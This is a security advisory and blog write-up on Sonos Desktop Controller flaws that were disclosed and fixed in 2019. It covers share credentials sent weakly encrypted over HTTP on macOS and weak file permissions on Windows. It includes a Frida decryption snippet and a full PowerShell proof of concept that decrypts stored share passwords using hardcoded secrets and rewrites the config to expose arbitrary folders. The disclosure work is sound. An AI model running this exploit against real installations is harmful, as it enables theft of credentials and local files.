SONOS desktop controller contain multiple vulnerabilities

Vulnerable versions

  • Sonos Desktop Controller for macOS version 10.0 build 48261220.
  • Sonos Desktop Controller for Windows version 10.0 build 48261220.

Older versions of the Desktop Controller app are also affected.

Fix

Sonos has released a fix (v10.1) for Sonos Desktop Controller (Windows and Mac OSX) on April 3rd, 2019

#TL;DR

Sonos Desktop Controller for Windows and MacOSX has the ability to add remote music libraries to a Sonos device by providing credentials of a network share (for example NAS) containing music or local folders on the user’s system.

In order for the Sonos device to gain remote access to these music resources the network share credentials must be shared and stored on the Sonos device. Before the credentials are shared by the Desktop Controller they are first encrypted (insecurely) and then send over an insecure connections (HTTP). When these credentials are captured by a suitable positioned attacker (MiTM) on the network (for example open WiFi) they can be decrypted by enrolling to the same Sonos device as the victim (Sonos devices have no access control capabilities).

In addition, Sonos Desktop Controller for Windows contains vulnerabilities that allow a malicious user or malware to share any file on the system.

The Sonos journey Part 1 - Mac OSX

This part of the journey is how I got introduced to hipster reverse tools (@Fridadotre).

Achievement unlocked

Before we start getting into the details of several Sonos vulnerabilities it is important to note that Securify has (too) many #infosec hipsters, shout out to #DoubleDipper (@RemcoVermeulen) and #OsdorpHotBoy (@_bhamza)! These two gentlemen are very eager to tell me that I am doing it all wrong and to stop messing around with the wrong tools. Hipster voices yelling from the back: "what the hell is taking you so long, use Frida dude!" If you are still reading this, try to be very happy that I am not going through all details of multiple pranks that eventually made me fall in love with Frida. I have always wanted to create... or in better words: be part(!) of a crew that outsmarts me in all technical directions. At least, I think that should be every nerdy business owner’s dream. All right... moving on.

Introduction the SMB network share option

The macOS Sonos Desktop Controller has the ability to add a new music library in multiple ways such as the use of an (SMB) network share, or a folder on the user’s system. Access to these resources requires secure sharing of credentials.

First thing I noticed after configuring a share location is that the credentials used to gain access to the share (SMB) are transferred to the Sonos device in clear text (HTTP) and are consequently subject to potential MITM attacks.

Another important part of the same HTTP (SOAP) call shown in the Wireshark trace below is that my share username/password are somehow encrypted.

In order to determine how the encryption was implemented in the macOS Sonos Desktop Controller I started a reverse engineering process by monitoring disk access, memory access, and an apparently too long time on the binary. I quickly discovered many crypto implementations in the binary (Mach-O) but was unable to determine which one was actually used. After huffing and puffing #hipsters got fed up with my approach and started pitching in, or did I lure them in?

Kingfishing

Kingfishing is an internal Securify hipster term to lure a colleague into helping you. And guess what: I got our infosec hipsters (especially #DoubleDipper) hooked (Frida) good!

Frida

After tracing some methods, I quickly noticed that I was able to understand the password handling but these functions were not responsible for encrypting the password on the wire. The only thing they are good for is debugging and verifying the outcome of the real crypto routine responsible for putting the password in encrypted format on the wire.

frida-trace -n Sonos -m "*[* *password*]" 
SMMusicLibraryManager _registerShareOnZPWithNetworkPath 
SMMusicLibraryManager addRemoteShareWithPath:username:password

Frida without reversing is a bunch of nothing I guess

So quickly I understood the greatness of Frida (which gave me a quicker insight into where to look and especially in which areas of the binary not to waste any time). Attaching a debugger (Hopper) and setting some breakpoint here and there I quickly noticed there was a native C function performing AES crypto before the soap call was created. So, guess what, you need proper reversing skills to understand what is going on here.

We needed #DoubleDipper back in the game. Since he is(!) an amazing hipster, he avoided the use of #Hopper and #IDA but chose #Binary Ninja to reverse all the important calls involved. In his own words: “we can either take a very long time to reverse this or we just allocate some memory call the native C++ class methods (from the class EncryptedStringDecoder) using Frida and see if that proves that the password is being encoded on the wire."

Long story short, bam! He got it working after some magic that involved constructing the C++ classes in a Frida script. The password that I provided during the setup of a network share for people wanting to listen to hipster music was intercepted (MITM) on the wire (HTTP) and then decrypted by a Frida Python script that (ab)uses the native Sonos class EncryptedStringDecoder to decode the “encrypted” username and password.

Frida decrypt SONOS function PoC:

function decrypt(ciphertext) { 
         const AES_DECODER_VTBL = 0x100dc7958; 
         const AES_DECODER_SIZE = 0xff; 
    
         const ENCRYPTED_STRING_DECODER_SIZE = 0x1ff; 
         const ENCRYPTED_STRING_DECODER_INIT = 0x100704fb0; 
         const ENCRYPTED_STRING_DECODER_DECODE = 0x1007052c0; 
    
         console.log('Allocating AesDecoder'); 
         var aes_decoder = Memory.alloc(AES_DECODER_SIZE); 
         console.log('AesDecoder @', aes_decoder); 
    
         var aes_decoder_vtable = ptr(b2a(AES_DECODER_VTBL)); 
         console.log('AesDecoder vtable @', aes_decoder_vtable); 
    
         Memory.writePointer(aes_decoder, aes_decoder_vtable); 
         console.log(hexdump(aes_decoder, { 
            offset: 0, 
            length: AES_DECODER_SIZE, 
            header: true, 
            ansi: true 
         })); 
}

MITM limitations

There are several factors that limit the possibility of a successful exploitation of these vulnerabilities.

  • Attacker must be suitable positioned on the same network as the Sonos device (open WiFi).
  • Abusing the EncryptedStringDecoder class by attaching to the Controller process with Frida only works if the attacker associates with the victim's Sonos device because the used cryptographic key related to the associated device.
  • The limit of opportunity is significantly decrease by the fact that the password is only shared (in insecure form) during setup of a NAS or a share on the device of the victim.

Recommendations

  • Hipsters: do not use overly privileged accounts to share music via your Sonos.
  • Vendor: consider using the MacOSX keychain as much as possible for credentials.
  • Vendor: Consider using an encrypted connection to limit the possibilities of a MITM attack.
  • Vendor: Use random session keys each time a secret has to be communicated. Encrypt the session key with a public key of the associated Sonos device.

The Sonos journey Part 2 - Windows

But wait, Sonos has a Desktop Controller for Windows. Hey #masterofeverything (@yorickkoster): "I think the Windows Controller works a bit different, mmmmmmmmmm, weird." An open door #kingfishing attempt :)

Vulnerability

Our Master took a quick look at the Sonos Desktop Controller for Windows. He immediately observed that the C:\ProgramData\Sonos,_Inc folder has weak file permissions.

The Sonos Library Services uses a configuration file located at %ProgramData%\Sonos,_Inc\runtime\ShareConfig.xml. When a share is added by a user, credentials are added to this file. The password is protected by DPAPI, but it is trivial to decrypt (decompilation of the services is required to get the correct secrets). Any local user (or malware) can read the file and get the password and make arbitrary HTTP requests to this services.

In addition, any logged on user can overwrite this file. This allows her to add arbitrary folders that can be access through the service (there is a filename check though).

Windows PoC

A small proof of concept was created that demonstrates this issue, with detailed comments:

# load System.Security for HMAC-SHA256
Add-Type -AssemblyName System.Security

$ip = "127.0.0.1"
$port = 3445
$configPath = "$env:ProgramData\Sonos,_Inc\runtime\ShareConfig.xml"
$sharePath = "$env:windir\media"

# the entropy value is hardcoded in the service and used for encrypting and decrypting the password of the Sonos user (DPAPI)
$entropy = [System.Text.Encoding]::Unicode.GetBytes("e51bd1fb-2783-4261-95b8-027afc69e8af");
# the hash key is a hardcoded value used by the service to authenticated the GET/HEAD request
$hashKey = [Byte[]] (111, 228, 49, 131, 143, 228, 5, 2, 87, 208, 9, 17, 255, 208, 1, 0, 240, 228, 5, 160, 15, 229, 161, 3, 63, 209, 1, 4, 18, 210, 9, 0)

# see if we have a config file, if not create it and start the service
if(-Not (Test-Path $configPath -PathType Leaf))
{
    Write-Host "[-] $configPath doesn't exist"
    Exit
}

# read the configuration file and decrypt the password
Write-Host "[-] Trying to parse $configPath"
[xml]$shareConfig = Get-Content $configPath
$username = $shareConfig.shares.credentials.username
$password = $shareConfig.shares.credentials.password
$password = [System.Convert]::FromBase64String($password)
$password = [Security.Cryptography.ProtectedData]::Unprotect($password, $entropy, [Security.Cryptography.DataProtectionScope]::LocalMachine)
$password = [System.Text.Encoding]::Unicode.GetString($password)

Write-Host "[+] Username: $username"
Write-Host "[+] Password: $password"

foreach($share in $shareConfig.SelectNodes("//shares/*"))
{
    if(!$share.Name.Equals("credentials"))
    {
        Write-Host "[+] Share" $share.Name "["$share.Path"]"
    }
}

# the config file and parent directory has weak NTFS permissions
# we can overwrite this file and share any folder on the system (the service runs as LocalSystem)
Write-Host "[-] Backing up $configPath"
Rename-Item -Path $configPath -NewName $configPath".O"

$newUsername = "PoC"
$newPassword = [System.Text.Encoding]::Unicode.GetBytes("P@ssw0rd")
$newPassword = [Security.Cryptography.ProtectedData]::Protect($newPassword, $entropy, [Security.Cryptography.DataProtectionScope]::LocalMachine)
$newPassword = [System.Convert]::ToBase64String($newPassword)

Write-Host "[-] Creating new configuration file"
$newConfig = @"
<?xml version="1.0" encoding="utf-8"?>
<shares>
  <share name="Share" path="$sharePath" />
  <credentials>
    <username>$newUsername</username>
    <password>$newPassword</password>
  </credentials>
</shares>
"@

Set-Content -Path $configPath -Value $newConfig -Encoding UTF8

try
{
    $url = "/Share"

    # calculate the Authetication header
    $hmac = New-Object System.Security.Cryptography.HMACSHA256
    $hmac.key = $hashKey
    $auth = $hmac.ComputeHash([System.Text.Encoding]::UTF8.GetBytes("$url${newUsername}P@ssw0rd"))
    $auth = [System.BitConverter]::ToString($auth).Replace('-', '')

    # call the local webservice
    $web = New-Object Net.WebClient
    $web.Headers.Add("Authorization", "Hash $auth")
    [xml]$dirListing = $web.DownloadString("http://${ip}:$port$url")
    Write-Host "[-] Listing files from $sharePath"
    foreach($entry in $dirListing.SelectNodes("//readdir/*"))
    {
        if($entry.Name.Equals("file"))
        {
            Write-Host "[+] $($entry.'#text')"
       }
    }
}
finally
{
    # restore config
    Write-Host "[-] Restoring $configPath"
    Remove-Item -Path $configPath
    Rename-Item -Path $configPath".O" -NewName $configPath
}

Responsible disclosure timeline

  • February 20, 2019: Reported.
  • February 25, 2019: Report acknowledged
  • April 3, 2019: Fixes for macOS and Windows Desktop Controller released.

Thanks for reading!

Vragen of feedback?